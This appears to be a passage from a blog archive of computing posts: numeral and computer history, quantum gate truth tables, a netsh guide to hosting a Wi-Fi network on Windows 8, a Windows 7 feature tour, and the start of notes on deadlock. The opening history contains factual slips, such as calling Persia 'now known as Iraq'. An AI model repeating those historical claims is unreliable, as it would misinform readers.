He is the author of the chandah-shastra, the sanskrit book on meters, or long syllables. While Pingala's system uses the symbols 1 and 2, Leibnitz (17th c.) uses 0 and 1, like the modern binary numeral system.

300 BC

Buddhist inscriptions from around 300 B.C. use symbols that will become the 1, 4 and 6 as in use since the 16th century.

One century later, their use of the symbols which will be 2, 4, 6, 7 and 9 will be recorded. The numerals migrate through Persia, now known as Iraq, to Egypt and Italy. Only to be generally accepted late in the 8th beginning of 9th century in de Middle East region. In Europe it takes a little longer. Only when Fibonacci uses the Arab numerals in his treatise acceptance begins. Not before the 16th century the new numerals will be generally accepted in the West.

pictures and main text for this entry courtesy

This Babylonian Salamis tablet, the oldest surviving counting board, wil be discovered in 1846 on the island of Salamis near Greece.

Salamis calculating board appr 300 BC

The gaming boards used by cultures like the Babylonians and Romans are seen as the "prototypes" of the Abacus. As most counting boards during this period of time, this Salamis board may most likely have been used for other activities than accounting, e.g. gaming. The board is ~150 x ~75 x ~4.5 cm (1 inch = 2.54 cm) and made of marble. Parallel grooves and Greek symbols are carved into it; with just four grooves it is possible to add and subtract to 10,000. The counting method used here is bi-quinary.

250 BC

Ctesibius (285 - 222 BC) invents an automata to represent a whistling clock, a variant on the clepsydra with pneumatics as the power source.

Due to a fire burning down the library of Alexandria all his designs and record will be lost. There is little left of Ctesibius' work, apart from a mysterious tower in Greece. It will take mechanical engineers (e.g. Cristiaan Huygens) over 1800 years to surpass Ctesibius' precision with this water clock.

History of Computers

The Computer history from 1936 is like below table. Here is the growing chart of computing machines according to the inventions chronology.

Computer History Year/Enter	Computer History Inventors/Inventions	Computer History Description of Event
1936	Konrad Zuse - Z1 Computer	First freely programmable computer.
1942	John Atanasoff & Clifford Berry ABC Computer	Who was first in the computing biz is not always as easy as ABC.
1944	Howard Aiken & Grace Hopper Harvard Mark I Computer	The Harvard Mark 1 computer.
1946	John Presper Eckert & John W. Mauchly ENIAC 1 Computer	20,000 vacuum tubes later...
1948	Frederic Williams & Tom Kilburn Manchester Baby Computer & The Williams Tube	Baby and the Williams Tube turn on the memories.
1947/48	John Bardeen, Walter Brattain & Wiliam Shockley The Transistor	No, a transistor is not a computer, but this invention greatly affected the history of computers.
1951	John Presper Eckert & John W. Mauchly UNIVAC Computer	First commercial computer & able to pick presidential winners.
1953	International Business Machines IBM 701 EDPM Computer	IBM enters into 'The History of Computers'.
1954	John Backus & IBM FORTRAN Computer Programming Language	The first successful high level programming language.
1955 (In Use 1959)	Stanford Research Institute, Bank of America, and General Electric ERMA and MICR	The first bank industry computer - also MICR (magnetic ink character recognition) for reading checks.
1958	Jack Kilby & Robert Noyce The Integrated Circuit	Otherwise known as 'The Chip'
1962	Steve Russell & MIT Spacewar Computer Game	The first computer game invented.
1964	Douglas Engelbart Computer Mouse & Windows	Nicknamed the mouse because the tail came out the end.
1969	ARPAnet	The original Internet.
1970	Intel 1103 Computer Memory	The world's first available dynamic RAM chip.
1971	Faggin, Hoff & Mazor Intel 4004 Computer Microprocessor	The first microprocessor.
1971	Alan Shugart &IBM The "Floppy" Disk	Nicknamed the "Floppy" for its flexibility.
1973	Robert Metcalfe & Xerox The Ethernet Computer Networking	Networking.
1974/75	Scelbi & Mark-8 Altair & IBM 5100 Computers	The first consumer computers.
1976/77	Apple I, II & TRS-80 & Commodore Pet Computers	More first consumer computers.
1978	Dan Bricklin & Bob Frankston VisiCalc Spreadsheet Software	Any product that pays for itself in two weeks is a surefire winner.
1979	Seymour Rubenstein & Rob Barnaby WordStar Software	Word Processors.
1981	IBM The IBM PC - Home Computer	From an "Acorn" grows a personal computer revolution
1981	Microsoft MS-DOS Computer Operating System	From "Quick And Dirty" comes the operating system of the century.
1983	Apple Lisa Computer	The first home computer with a GUI, graphical user interface.
1984	Apple Macintosh Computer	The more affordable home computer with a GUI.
1985	Microsoft Windows	Microsoft begins the friendly war with Apple.

Quantum Gates

2012-12-31T11:56:00.003+06:00

Some Quantum Gates

FREDKIN GATE

The Fredkin gate (also CSWAP gate) is a computational circuit suitable for reversible computing, invented by Ed Fredkin. It is universal, which means that any logical or arithmetic operation can be constructed entirely of Fredkin gates. The Fredkin gate is the three-bit gate that swaps the last two bits if the first bit is 1.

The basic Fredkin gate is a controlled swap gate that maps three inputs (C, I₁, I₂) onto three outputs (C, O₁, O₂). The C input is mapped directly to the C output. If C = 0, no swap is performed; I₁ maps to O₁, and I₂ maps to O₂. Otherwise, the two outputs are swapped so that I₁ maps to O₂, and I₂ maps to O₁. It is easy to see that this circuit is reversible, i.e., "undoes itself" when run backwards. A generalized n×n Fredkin gate passes its first n-2 inputs unchanged to the corresponding outputs, and swaps its last two outputs if and only if the first n-2 inputs are all 1.

The Fredkin gate is the reversible three-bit gate that swaps the last two bits if the first bit is 1.

Truth table

Matrix form

INPUT			OUTPUT
C	I₁	I₂	C	O₁	O₂
0	0	0	0	0	0
0	0	1	0	0	1
0	1	0	0	1	0
0	1	1	0	1	1
1	0	0	1	0	0
1	0	1	1	1	0
1	1	0	1	0	1
1	1	1	1	1	1

It has the useful property that the numbers of 0s and 1s are conserved throughout, which in the billiard ball model means the same number of balls are output as input. This corresponds nicely to the conservation of mass in physics, and helps to show that the model is not wasteful.

CNOT GATE

In computing science, the controlled NOT gate (also C-NOT or CNOT) is a quantum gate that is an essential component in the construction of a quantum computer. It can be used to disentangle EPR states. Specifically, any quantum circuit can be simulated to an arbitrary degree of accuracy using a combination of CNOT gates and single qubit rotations.

The CNOT gate flips the second qubit (the target qubit) if and only if the first qubit (the control qubit) is 1.

Before		After
Control	Target	Control	Target
0	0	0	0
0	1	0	1
1	0	1	1
1	1	1	0

The resulting value of the second qubit corresponds to the result of a classical XOR gate.

The CNOT gate can be represented by the matrix:

The first experimental realization of a CNOT gate was accomplished in 1995. Here, a single Beryllium ion in a trap was used. The two qubits were encoded into an optical state and into the vibrational state of the ion within the trap. At the time of the experiment, the reliability of the CNOT-operation was measured to be on the order of 90%.

TOFFOLI Gate

In computer science, the Toffoli gate (also CCNOT gate), invented by Tommaso Toffoli, is a universal reversible logic gate, which means that any reversible circuit can be constructed from Toffoli gates. It is also known as the "controlled-controlled-not" gate, which describes its action.

A logic gate L is reversible if, for any output y, there is a unique input x such that applying L(x) = y. If a gate L is reversible, there is an inverse gate L′ which maps y to x for which L′(y) = x. From common logic gates, NOT is reversible, as can be seen from its truthtable below.

INPUT	OUTPUT
0	1
1	0

The common AND gate is not reversible however. The inputs 00, 01 and 10 are all mapped to the output 0.

Reversible gates have been studied since the 1960s. The original motivation was that reversible gates dissipate less heat (or, in principle, no heat). In a normal gate, input states are lost, since less information is present in the output than was present at the input. This loss of information loses energy to the surrounding area as heat, because ofthermodynamic entropy. Another way to understand this is that charges on a circuit are grounded and thus flow away, taking a small quantity of energy with them when they change state. A reversible gate only moves the states around, and since no information is lost, energy is conserved.

More recent motivation comes from quantum computing. Quantum mechanics requires the transformations to be reversible but allows more general states of the computation (superpositions). Thus, the reversible gates form a subset of gates allowed by quantum mechanics and, if we can compute something reversibly, we can also compute it on a quantum computer.

[edit]
Universality and Toffoli gate
Any reversible gate must have the same number of input and output bits, by the pigeonhole principle. For one input bit, there are two possible reversible gates. One of them is NOT. The other is the identity gate which maps its input to the output unchanged. For two input bits, the only non-trivial gate is the controlled NOT gate which XORs the first bit to the second bit and leaves the first bit unchanged.

Truth table

Matrix form

INPUT		OUTPUT
0	0	0	0
0	1	0	1
1	0	1	1
1	1	1	0

Unfortunately, there are reversible functions that cannot be computed using just those gates. In other words, the set consisting of NOT and XOR gates is not universal (see Functional completeness). If we want to compute an arbitrary function using reversible gates, we need another gate. One possibility is the Toffoli gate, proposed in 1980 by Toffoli.^[1]

This gate has 3-bit inputs and outputs. If the first two bits are set, it flips the third bit. The following is a table of the input and output bits:

Truth table

Matrix form

INPUT			OUTPUT
0	0	0	0	0	0
0	0	1	0	0	1
0	1	0	0	1	0
0	1	1	0	1	1
1	0	0	1	0	0
1	0	1	1	0	1
1	1	0	1	1	1
1	1	1	1	1	0

It can be also described as mapping bits a, b and c to a, b and c XOR (a AND b).

The Toffoli gate is universal; this means that for any Boolean function f(x₁, x₂, ..., x_m), there is a circuit consisting of Toffoli gates which takes x₁, x₂, ..., x_m and some extra bits set to 0 or 1 and outputs x₁, x₂, ..., x_m, f(x₁, x₂, ..., x_m), and some extra bits (called garbage). Essentially, this means that one can use Toffoli gates to build systems that will perform any desired Boolean function computation in a reversible manner.

Create AdHoc Network in windows 8

2012-12-30T21:56:00.000+06:00

Create Ad Hoc Network - Wireless Hotspot In Windows 8

Apart from the new features of windows 8, you might have noticed that the some of the features of previous versions of windows are missing in windows 8 like setting up of ad hoc network. Previously users could easily create a ad hoc network share their internet connection with other people which is very useful if you are using data card to surf internet. Ad hoc network are also very useful for sharing files and playing multiplayer LAN games but as this feature is missing in windows 8, it's a big problem for all the people.

In this post i am going to tell you how you can still create a Ad hoc network. Actually i am going to use the feature named SoftAP using the netsh utility instead of Ad hoc because Ad hoc feature is removed from windows 8. SoftAP acts similar to ad hoc with some of the advantages like you can use your wireless card to create access point as well as connect to wireless networks simultaneously.

Here are the steps:

+ In windows 8, On the start screen start typing cmd, right click on it and then click on run as administrator.

+ Now as we are going to create a virtual wireless hotspot so it is necessary that you computer supports wireless hostednetwork/virtualization feature so in cmd type the below command and press enter.

netsh wlan show drivers

+ Now look for Hosted Network Supported and make sure that yes is written in front of it. If it says no then update the driver of your network adapter.

+ Now once you make sure that your computer supports virtualization. Type the following command and press enter.

netsh wlan set hostednetwork mode=allow ssid=network-name key=password

Replace network-name with the name of the network you want to create and password with which you want others to connect to this network.

For example type: netsh wlan set hostednetwork mode=allow ssid=technocratRohit key=rohitagarwal

+ Now you have to start the hostednetwork to create an ad hoc network. So type:

netsh wlan start hostednetwork

+ Now the ad hoc network is created and anyone can connect to it. But if you want to share internet connection with others you have to enable it first. So go to:

Control Panel->Network And Internet->Network And Sharing Center->Change adapter settings

+ Here you will find that a new virtual connection has been created. Note down it's name.
+ Right click on the network device connected to internet and click on properties. Click on sharing tab and select Allow other network users to connect through this computer's Internet connection and from the drop down list choose the newly created ad hoc network.

+ Now to stop the ad hoc network in command prompt (cmd) type:

netsh wlan stop hostednetwork

Windows 7: Where the revolution begins

2012-12-26T01:42:00.000+06:00

Windows 7

Where the Revolution begins

Where we’re at

2006-2009

• Windows Vista didn’t exactly get a positive reception.

• That said, it delivered on Microsoft’s promise to update the foundation of Windows to something more modern.

• That foundation is used in Windows 7.

Why so much faster release of windows 7 than the other windows?

Windows 7

Why 7? For lucky 7 or anything else?

Why it is named windows 7?

That's because not every Windows OS is a whole "version," in the same way that there are several versions of Mac OS X. Here's a more thorough explanation:

Windows 3.0, 3.1 and 3.11 used the version number as part of their name. Windows NT followed suit with NT 3.1 and 3.5.

Windows 95 was technically version 4.0 and the server version was Windows NT 4.0. Win 98 was 4.10.1998, Win 98 SE was 4.10.222A, and Windows Me was 4.90.3000.

Windows 2000 was the first release in the version 5 family, followed by Windows XP, which was version 5.1.

Windows Vista was version 6.0.

Windows 7 is all about delivering on the failures of Vista.

• Performance improvements

– Boot-up time is faster than with Windows Vista, and Windows 7 resumes from sleep and reconnects to wireless networks more quickly.

– Search has been optimized to return results faster.

– Services that aren't in use are turned off, and memory is used more efficiently than in Vista, increasing performance.

– USB devices are ready for use in less time after you plug them in.

• Power management

– Automatically dims the screen after a period of inactivity when on battery power

– Powers off unused ports

Uses less power for DVD playback

Market Place for Windows 7

Windows 7 has overtaken Windows XP as the world's most popular desktop operating system, marking the end of the venerable OS' reign over the PC world.

(Credit: Net Applications)

Windows 7's market share stands at 42.76 percent compared with Windows XP's 42.5 percent, according to figures from Web-tracking company Net Applications for the month of August.
Microsoft has seen Windows 7's share rise by roughly 1 percentage point month-on-month for around the past year -- about the same level of decline seen in Windows XP -- while Vista's share has remained static at around 6 percent over the past quarter.

Not all web tracking companies agree on when Windows 7 became the dominant OS: StatCounter reported Windows 7 overtaking XP almost a year ago, and now puts Windows 7's overall market share at over the 50 percent mark.

Windows 8, which was made available as a pre-release preview earlier this year, has a 0.23 percent market share, according to Net Applications.

Overall, Windows' share of the desktop market stands dwarfs that of its rivals at 92 percent.

However, there's also good news for Apple in the August stats: the total Mac OS X user base now outstrips that of Windows Vista. Apple's combined share of the desktop market -- counting versions 10.4 and after of OS X -- Apple has a 7.11 percent share, while Windows Vista takes 6.1 percent.

So, windows 7 has taken only 3 years to overtake windows XP. Where windows XP has grown their user since for 11 years.

Windows 7 for end users

Windows 7 System Requirements

• 1 gigahertz (GHz) or faster 32-bit (x86) or 64-bit (x64) processor

• 1 gigabyte (GB) RAM (32-bit) or 2 GB RAM (64-bit)

• 16 GB available hard disk space (32-bit) or 20 GB (64-bit)

• DirectX 9 graphics device with WDDM 1.0 or higher driver

Setup

• Setup has been simplified.

• Clean install in 15-20 minutes.

• Upgrade: Averages a couple of hours.
Windows XP users: No upgrade for you.

User experience

• Biggest end user changes are in the UI...

– Personalization with Aero Themes and slideshows.

– Major changes to the Taskbar – Pinning, Jump Lists, Live Previews, and more.

– Notification area clean-up.

– Libraries and Windows Explorer.

– Windows Aero desktop effects: Aero Peek, Aero Snaps, Aero Shake.

Aero interface features

With the new Aero features of Windows 7, it's easier to get work done.

Desktop and Taskbar

– You have more control over the arrangement of your desktop with the removal of the sidebar, which was introduced in Windows Vista.

– Gadgets can still be placed on the desktop, wherever you want them.

Get what you need in an instant!

• Accessing frequently used programs and files

– Many of us have a fairly small group of programs and files we use often. So it makes sense to keep them handy all the time. The Start menu is essentially a blank slate that you can organize and customize to suit your preferences.

• Click the Start button . If you don’t see the program you want, simply type it into the search box.

• You can then pin your favorite programs to the Start menu for easy access by right-clicking the program and clicking Pin to Start Menu.

• You can also pin your favorite programs to the taskbar by right-clicking the program and selecting Pin to Taskbar, or by dragging the program from the Start menu or the desktop to the taskbar. You can rearrange the buttons on the taskbar any way you like by dragging them.

Jump Lists

• Lists of recently opened items, such as files, folders, or Web sites, organized by the program that you use to open them.

• To open an item from the Jump List on the Start menu, click the Start button . Point to a program on the Start menu to open the program’s Jump List, and then click the item.

• To pin your favorite files to the Jump List, point to the file in the Jump List, and click the push-pin. The item then appears at the top of the Jump List. To unpin an item from a Jump List, point to the item, and click the pushpin. (Notice that the push-pin has a different tooltip, “Unpin from this list.”) The item is no longer pinned to the top of the Jump List.

The taskbar

• The horizontal bar at the bottom of the screen , gives you a quick way to access the programs and files you have open.

• With this new feature in Windows 7, called Peek, you can point to a taskbar button to preview open files or programs. Point to the thumbnail to preview the window full-screen. Click the thumbnail to open the window, or click the x in the upper-right corner of the thumbnail to quickly close the window.

• When you right-click a taskbar icon, you see a jump list that displays files you've recently opened with that application as well as common tasks that you can perform directly from the jump list.

Live Thumbnails

Just hover over an icon to see a thumbnail of a running window.

Click on a thumbnail to bring a window to the desktop.

Thumbnails display Active operations.

Snap, Shake and Peek

• New to Windows 7.

• Help you organize and resize windows and reduce desktop clutter:

• Aero Snap makes it easy to display two windows side-by-side by dragging them to opposite sides of the display.

– To maximize a window, drag it to the top. If you want to extend a window to the full length of the screen but keep the current width, resize it to the top of the screen.

• With Aero Shake, grab a window with the pointer and drag it back and forth quickly to minimize all other windows. Shake it again to bring the other windows back.

• Aero Peek puts a transparent button at the extreme right end of the taskbar (if it's horizontal) or the bottom (if it's vertical), after the notification area.

– Hover over it with the pointer and all windows become transparent so you can see your desktop and gadgets. Move the pointer away and the windows are restored.

Snipping Tool

• Snipping Tool captures a screen shot of any object on your screen, like a paragraph in a document, a picture you’re editing, or a section of a Web page. When you want to share an idea or ask a question, it’s a great way to show your students what you’re talking about.

• Click the Start button and type snip in the search box. Click Snipping Tool in the Programs section at the top of the Start menu.

• On the New menu, select the type of snip you want:

• Free-form Snip. Draw a free-form shape around an object.

• Rectangular Snip. Drag the cursor around an object to form a rectangle.

• Window Snip. Select a window, such as a browser window or dialog box, that you want to capture.

• Full-screen Snip. Capture the entire screen.

• Then select the area of your screen that you want to capture. It's automatically copied to the Clipboard and the Snipping Tool mark-up window. From the mark-up window, you can write on, draw on, highlight, save, or e-mail the snip.

User Account Control

If a task requires Administrative rights, you’ll see a User Account Control prompt.

Check with the IT department if you need Administrator rights.

Task Switching

Windows Flip 3D is a novel way to switch tasks.

Sticky Notes

• Sticky Notes are colorful reminder notes you can stick on your desktop. They are even handier in Windows 7. You can format the text, and speedily resize, collapse, and flip through notes.

• To create a sticky note, click the Start button and type sticky in the search box. Click Sticky Notes in the Programs section at the top of the Start menu. To create additional notes, click the New Note button. You can also open a new note by pressing CTRL+N.

Type of formatting

	Keyboard shortcut
Bold text	CTRL+B
Italic text	CTRL+I
Underlined text	CTRL+U
Strikethrough	CTRL+T
Bulleted list	CTRL+SHIFT+L (Press this keyboard shortcut again to switch to a numbered list.)
Increased text size	CTRL+SHIFT+>
Decreased text size	CTRL+SHIFT+<

New Windows Explorer Features

Improvements to Windows 7's Windows Explorer file manager make it easier to organize and find your files, whether they're stored on your hard drive, an external drive or on the network.

Libraries

The biggest change to Windows Explorer is the addition of libraries. Libraries are virtual folders that give you an aggregated view of the contents of multiple actual folders. This lets you see all files of a particular type (such as pictures) together, even though they may be stored in different physical locations. There are four default libraries: Documents, Music, Pictures and Videos. You can also add your own libraries. Figure 3 shows a library for downloaded programs that has been added.

New and improved built-in applications

Some applications included with Windows have been updated and improved, and handy new ones added.

Problem Steps Recorder

Troubleshooting is easier for both the user and the help desk.

Control Panel

Category view and integrated Search make it easy to find what you need.

Internet Explorer 8:

– Windows 7 ships with the latest version of Internet Explorer, which includes many new features:

– Accelerators: Provides a quick way to perform common tasks from a website by highlighting text and then choosing the action. For example, highlight an address and select to see a map of the location or highlight a sentence and select to translate it with Bing. You can add accelerators from the Accelerators Gallery.

– InPrivate Browsing: Allows you to browse the web without leaving tracks in the form of Internet history, temporary Internet files (cache) or cookies.

– Web Slices: Enables you to subscribe to a part of a web page, which will be automatically updated when it changes.

– SmartScreen Filter: Protects you from malicious websites such as phishing sites.

– Suggested Sites: Suggests websites you might be interested in, based on the sites you've visited most often.

– Tab isolation and crash recovery: Each tab runs in its own process so if one crashes, others aren't affected. A crashed tab automatically reloads. You can also reopen closed tabs or reopen your entire previous browsing session.

Internet Explorer 9:

– Fast, simplified design, one-click access to your favorite sites, integration with Windows 7, etc.

Desktop gadgets for teachers

• Windows contains mini-programs called gadgets, which offer information at a glance and provide easy access to frequently used tools.

• Right-click anywhere on your desktop and then click Gadgets. Double-click a gadget to add it to your desktop. You can also add additional gadgets by clicking Get more gadgets online in the lower-right corner. To remove gadgets you already have, right-click the gadget, and click Close gadget.

• Many of the available gadgets are really handy for teachers, including gadgets for a dictionary/thesaurus, Wikipedia, multilingual vocabulary, periodic table, unit converter, currency converter, moon phases, astronomy center, a to-do list, and more. You can even watch NASA TV Live or listen to radio stations from around the world.

• You can customize a gadget by moving it, resizing it, and making other changes:

• To move a gadget, drag it wherever you want it.

• To change a gadget’s options, right-click the gadget, and then click Options. Change the options and then click OK.

• To resize a gadget, right-click it, point to Size, and click the size you want the gadget to be.

• To keep a gadget on top of your other windows so it’s always visible, right-click the gadget, and click Always on top.

Accelerators

New and improved built-in applications

Calculator

The built-in calculator in Windows 7 adds two new modes:

• Programmer: Calculates in and converts between hexadecimal, decimal, octal and binary numbers, and displays byte, word, Dword and Qword data types.

• Statistics: Adds keys for statistical calculations involving linear regression.

• Another handy addition is a calculation history, which appears at the top of the entry field.

• New unit conversion pane, which handles units of area, angles, length, volume, weight/mass, energy, power, pressure, time, velocity, temperature and more.

WordPad and Paint

The built-in Paint program now uses the familiar ribbon interface from Office, as shown in Figure 6, making it easier to use. It now supports opening transparent .PNG and .ICO files, adds realistic digital brushes and supports multi-touch, so you can paint directly on the screen with your fingers with a touch screen monitor.

Improved search

• Windows 7 includes the Explorer search box as in Windows Vista but it adds a new feature: search suggestions.

• When you click in the box, you see a list of recent searches, as well as search filters (customized for the type of files in the folder) that you can select to filter search results.

• These improvements make it easy for you to use the search bar to quickly search across file types and libraries for all documents pertaining to a particular client.

• To use arrangement views, search filters and suggestions, you must have library locations indexed. When you include a location in a library, Windows 7 automatically adds those locations to be indexed. Locations on another machine are indexed if that machine is running Windows Search 4.

Connect to a wireless network

• To open Connect to a Network, click the network icon ( or ) in the notification area in the lower-right corner of your screen. In the list of available wireless networks, click a network, and then click Connect. If prompted, type the network security key, and then click OK. Now you’re connected to the network.

Location-Aware Printing

• If you’ve got Windows 7 Professional or Ultimate on your laptop, you can automatically switch default printers for each network you use—at home and at school. Then you won’t have to manually switch printers when you move between locations. So when you print at school, Windows 7 will automatically print to your school printer. When you print at home, Windows 7 will automatically select and use your home printer.

• First, be sure that your computer is connected to the printer you need. You can add a local printer or add a network, wireless, or Bluetooth printer.

To add a local printer that is directly connected to your PC:

– First, connect the printer to your computer following the manufacturer's instructions. Windows attempts to automatically install the printer. If Windows can't automatically install it or if you've removed the printer and want to add it again, follow these steps:

– Click the Start button , and then click Devices and Printers.

– Click Add a printer.

– In the Add Printer wizard, select Add a local printer.

– On the Choose a printer port page, make sure that Use an existing port and the recommended printer port are selected, and then click Next.

– On the Install the printer driver page, select the printer manufacturer and model, and then click Next. Note, if your printer is not listed, click Windows Update, and then wait while Windows checks for additional drivers. If none are available and you have the manufacturer's installation CD, click Have disk, and then browse to the folder where the printer driver is stored. For additional help, refer to the manufacturer's instructions.

• Complete the additional steps in the wizard, and then click Finish.

To add a network, wireless, or Bluetooth printer:

– Make sure you know the name of the printer that you want to add before you begin. Sometimes the name is displayed on the printer itself. If the name is not on the printer, contact the printer owner or your network administrator to find out the printer's name before you follow the steps below.

– Click the Start button , and then click Devices and Printers.

– Click Add a printer.

– In the Add Printer wizard, select Add a network, wireless or Bluetooth printer.

– In the list of available printers, select the one you want to use, and then click Next. If your computer is connected to a network, only printers listed in Active Directory for your domain are displayed in the list.

– If prompted, install the printer driver on your computer. If you are prompted for an administrator password or confirmation, type the password or provide confirmation.

– Complete the additional steps in the wizard, and then click Finish.

To change a default printer:

– Click the Start button , and then click Devices and Printers.

– Right-click a printer, and then click Set as default printer.

To manage Location-Aware Printing settings:

– Click the Start button , and then click Devices and Printers.

– Click a printer, and then click Manage default printers on the toolbar.

– Click Change my default printer when I change networks.

– In the Select network list, click a network.

– In the Select printer list, click a corresponding default printer.

– Click Add.

– Repeat steps 4, 5, and 6 to select printers for any other networks you connect to. When you're finished, click OK.

Resources

• Take a Windows 7 tour, and watch videos about Windows 7 features here: http://www.microsoft.com/windows/windows-7/videos-tours.aspx.

• For faculty, visit http://www.microsoft.com/win7

• Windows 7 Upgrade Advisor http://tinyurl.com/w7advisor

• 10 Cool Tools in Windows 7: http://blogs.techrepublic.com.com/10things/?p=738

• System Requirements: http://www.microsoft.com/windows/windows-7/get/system-requirements.aspx

Tune Up you PC

• How to get information about your PC?

• How to update Windows 7?

• What is notification area?

How to get information about your PC?

• Start

• Type: “system information” in the search box

• Select: System Information from the resulting list

How to update Windows 7?

· Windows Update is a utility that downloads and installs updates to your system, and it's configured to run automatically by default in Windows 7.

Start > All Programs > Windows Update,
select Tools> Windows Update in Internet Explorer

What is notification area?

• The notification area appears on the right side of the taskbar. Sometimes it's called the system tray, or just the tray. Standard icons displayed in the notification area are the flag (to open Action Center), the power icon (on notebook PCs), the network or wireless icon and the volume icon.

• Windows 7 groups other background program icons in a hidden area to keep the notification area clutter-free. Just click the up-facing arrow to display the hidden icons. In this example, you see the hidden tray icons for the Bluetooth device applet, Windows Update, an antivirus program, a pointing device and a virtual machine program.

Here are some ways to put these icons to work:

• Double-click an icon to perform the default action for the related program. In most cases, this opens a window for its configuration or use.

• Select a command from the right-click menu that closes or disables the application and removes its icon from the tray—until the next time you start your PC (if it's set to load at startup) or until you restart that application manually.

As software programs load, the number of small icons on the system tray increases. Each of these small pictures represents a program running in the background, and each one consumes valuable system resources. Move the mouse pointer over each small picture to find out which program it represents.

Cleaning up the desktop

• Over time, a Windows desktop can get cluttered with shortcut icons for programs you don't use.

• The simplest way to get rid of these icons is to delete them. Select one and press Delete, or drag it to the Recycle Bin. You aren't deleting the program itself—only the shortcut to that program. You can still run the program from the Start menu.

Deleting unnecessary files

• Disk Cleanup helps you save hard disk space by offering to delete files (either yours or everyone's files) it thinks you don't need. These files could include the contents of the Recycle Bin, temporary internet files and other folders.

• Select Start, type disk cleanup in the search text box and then select Disk Cleanup in the resulting list.

• In addition to deleting unnecessary files, uninstall any applications you don't need. Windows uses hard disk space for different types of operations, such as caching and virtual memory.

• The computer might not run reliably if free disk space drops below 10 percent of total space. To see how much space remains on your hard disk, click Start > Computer, and then view the bar graphs results for each drive that appears in the Hard Disk Drives pane.

• Use the Programs and Features applet in Control Panel to uninstall programs you no longer use.

Windows 7 Security

Action Center
Action Center, the home base for your PC's security, lists all information about security settings. The main role of Action Center is to consistently check on security items such as your network firewall and maintenance items including backup and restore, to make sure your machine is healthy.

The Action Center in Windows 7 gives you a view of all your PC's security and maintenance features. Action Center shows up as a little white flag on the right-hand side of the Windows 7 toolbar, or it can be reached by the path Control Panel -- System and Security -- Action Center.
Inside Action Center, you can make sure your Windows Firewall is on, your antivirus software is up to date and that your PC is set to install updates automatically.
When the status of a monitored security item changes, such as your antivirus becoming out of date, Action Center notifies you with a message in the taskbar. Then when you open Action Center, the status of the item in question changes color to indicate the severity of the problem, and an action is requested.
Action Center is a helpful resource that warns you when there may be trouble. Be sure not to neglect those Action Center messages when they turn up.

Windows Defender

Windows Defender, antispyware software that's included with Windows 7, runs automatically when it is turned on.
Spyware is any unwanted or potentially harmful software that can be installed on your computer without your knowledge any time you connect to the Internet. It can also infect your computer when you install programs using a CD or DVD.
Windows Defender staves off spyware in two ways:

Real-time protection. Windows Defender alerts you when spyware attempts to install itself or to run on your computer. It also alerts you when programs attempt to change important Windows settings.
Scanning options. You can use Windows Defender to scan for spyware that might be installed on your computer, to schedule scans on a regular basis, and to automatically remove anything that's detected during a scan.

To open Windows Defender, click the Start button located in the far left of the task bar. In the search box, type Defender, and then, in the list of results, click Windows Defender.

User Account Control

UAC, the security feature that prompts you for permission to install or open programs, was despised by Windows Vista users, but it is much more customizable in Windows 7. The options are no longer "on or off"; there are four notification levels that a user can set.

The four settings in Windows 7 UAC's customizable slider range from Always notify to Never notify.

The improved Windows 7 UAC is essential in that it informs you when a program makes a change that could potentially harm your computer or make it susceptible to security threats.
If you are your computer's administrator (in most cases you are), you can click Yes to continue. If you are not an administrator, someone with an administrator account on the computer will have to enter their password for you to continue.
When your permission is needed to open a program or install software, UAC will notify you with one of four different types of dialog boxes:

When a program or setting is part of Windows and needs your permission to start.
When a program is not a part of Windows and needs your permission to start
When a program with an unknown publisher needs your permission to start
When you have been blocked by your system administrator from running a program because the program is known to be untrusted

To modify User Account Control Settings, click the Start button and then click Control Panel. In the search box, type uac, and then click Change User Account Control Settings.

Windows Update
Windows Update can be a pest, especially when updates pop up when you're in the middle of 10 things. But by installing the latest updates as they become available for your PC, you are continually improving the security, reliability and performance of your computer without too much of an inconvenience.
You can set Windows to automatically install "important" and "recommended" updates or to install important updates only. Important updates are for more critical security and reliability issues and recommended updates address noncritical problems.
To turn on automatic Windows Updates:

Click on the Start button. In the search box type Update, and then in the list of results click Windows Update.
In the left pane, click Change Settings.
Under Important updates, you can choose if you want to install new updates automatically, and the day and time you want the latest updates to take place (i.e. Every Day at 6 am).
Under Recommended Updates select the "Give me recommended updates the same way I receive important updates" check box, and then click OK.

Windows Firewall

Windows Firewall is an easy feature to turn on or off and can help prevent hackers and worms from slithering into your computer through a network or the Internet. A firewall can also help stop your computer from sending malicious software to other computers.

Unless you have another firewall enabled, such as a corporate network firewall, you should turn on Windows Firewall to protect your computer and network (if you have one).

To turn on Windows Firewall:

Click the Start button, and then click Control Panel. In the search box, type firewall, and then click Windows Firewall.
In the left pane, click "Turn Windows Firewall on or off." If you're prom

Windows 7 features improved multi-threading

Microsoft has changed the way the kernel handles multi-core CPUs in Windows 7 and locks threads to particular cores instead of jumping around.

· Intel has revealed that Windows 7 features new and improved multi-threading, which will help to improve power consumption and battery life.

· Previous versions of Windows often swapped threads around cores, which prevented them from entering lower power states and caused cache thrashing as separate cores raced to grab data processed by others.

· The Windows 7 kernel changes this by improving thread affinity, locking threads to particular cores in order to allow unused CPU cores to enter low power C-states when they’re not in use – called thread parking - providing the CPU and motherboard supports this of course.

Deadlock

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Deadlock

Definition

A set of process is in a deadlock state if each process in the set is waiting for an event that can be caused
by only another process in the set. In other words, each member of the set of deadlock processes is waiting
for a resource that can be released only by a deadlock process. None of the processes can run, none of
them can release any resources, and none of them can be awakened. It is important to note that the number
of processes and the number and kind of resources possessed and requested are unimportant.

The resources may be either physical or logical. Examples of physical resources are Printers, Tape
Drivers, Memory Space, and CPU Cycles. Examples of logical resources are Files, Semaphores, and
Monitors.

Example

The simplest example of deadlock is where process 1 has been allocated non-shareable resources A, say, a
tap drive, and process 2 has be allocated non-sharable resource B, say, a printer. Now, if it turns out that
process 1 needs resource B (printer) to proceed and process 2 needs resource A (the tape drive) to proceed
and these are the only two processes in the system, each is blocked the other and all useful work in the
system stops. This situation ifs termed deadlock. The system is in deadlock state because each process
holds a resource being requested by the other process neither process is willing to release the resource it
holds.

Preemptable and Nonpreemptable Resources

Resources come in two flavors:

A preemptable resource is one that can be taken away from the process with no ill effects. Memory is an
example of a preemptable resource.

A non-preemptable resource is one that cannot be taken away from process (without causing ill effect).
For example, CD resources are not preemptable at an arbitrary moment.
Reallocating resources can resolve deadlocks that involve preemptable resources.

Necessary and Sufficient Deadlock Conditions

Coffman conditions that must hold simultaneously for there to be a deadlock.

1.Mutual Exclusion Condition

The resources involved are non-shareable.

Explanation: At least one resource (thread) must be held in a non-shareable mode, that is, only one
